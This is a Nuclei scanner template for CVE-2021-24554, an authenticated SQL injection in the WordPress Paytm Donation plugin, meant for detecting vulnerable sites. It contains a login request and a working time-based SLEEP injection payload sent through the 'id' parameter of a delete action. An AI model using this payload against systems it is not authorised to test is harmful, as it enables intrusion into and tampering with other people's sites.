WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection

id: CVE-2021-24554

info:
  name: WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress Paytm Donation plugin through 1.3.2 is susceptible to authenticated SQL injection. The plugin does not sanitize, validate, or escape the id GET parameter before using it in a SQL statement when deleting donations. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress Paytm Donation plugin (version > 1.3.2) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f2842ac8-76fa-4490-aa0c-5f2b07ecf2ad
    - https://wordpress.org/plugins/wp-paytm-pay/
    - https://codevigilant.com/disclosure/2021/wp-plugin-wp-paytm-pay/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24554
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24554
    cwe-id: CWE-89
    epss-score: 0.05691
    epss-percentile: 0.92052
    cpe: cpe:2.3:a:freelancetoindia:paytm-pay:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: freelancetoindia
    product: paytm-pay
    framework: wordpress
  tags: time-based-sqli,cve,cve2021,sqli,wordpress,wp-plugin,wp,wp-paytm-pay,wpscan,freelancetoindia,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 10s
        GET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "paytm-settings_page_wp_paytm_donation")'
        condition: and
# digest: 4a0a00473045022100da545859139c37d0efa29865b2c6196fe233e640f7cef723bfc5b55d3065a998022037c682beb9e25afcb0198a7cf9f16b5f0a176aa58465da6e0144769169f31666:922c64590222798bb761d5b6d8e72950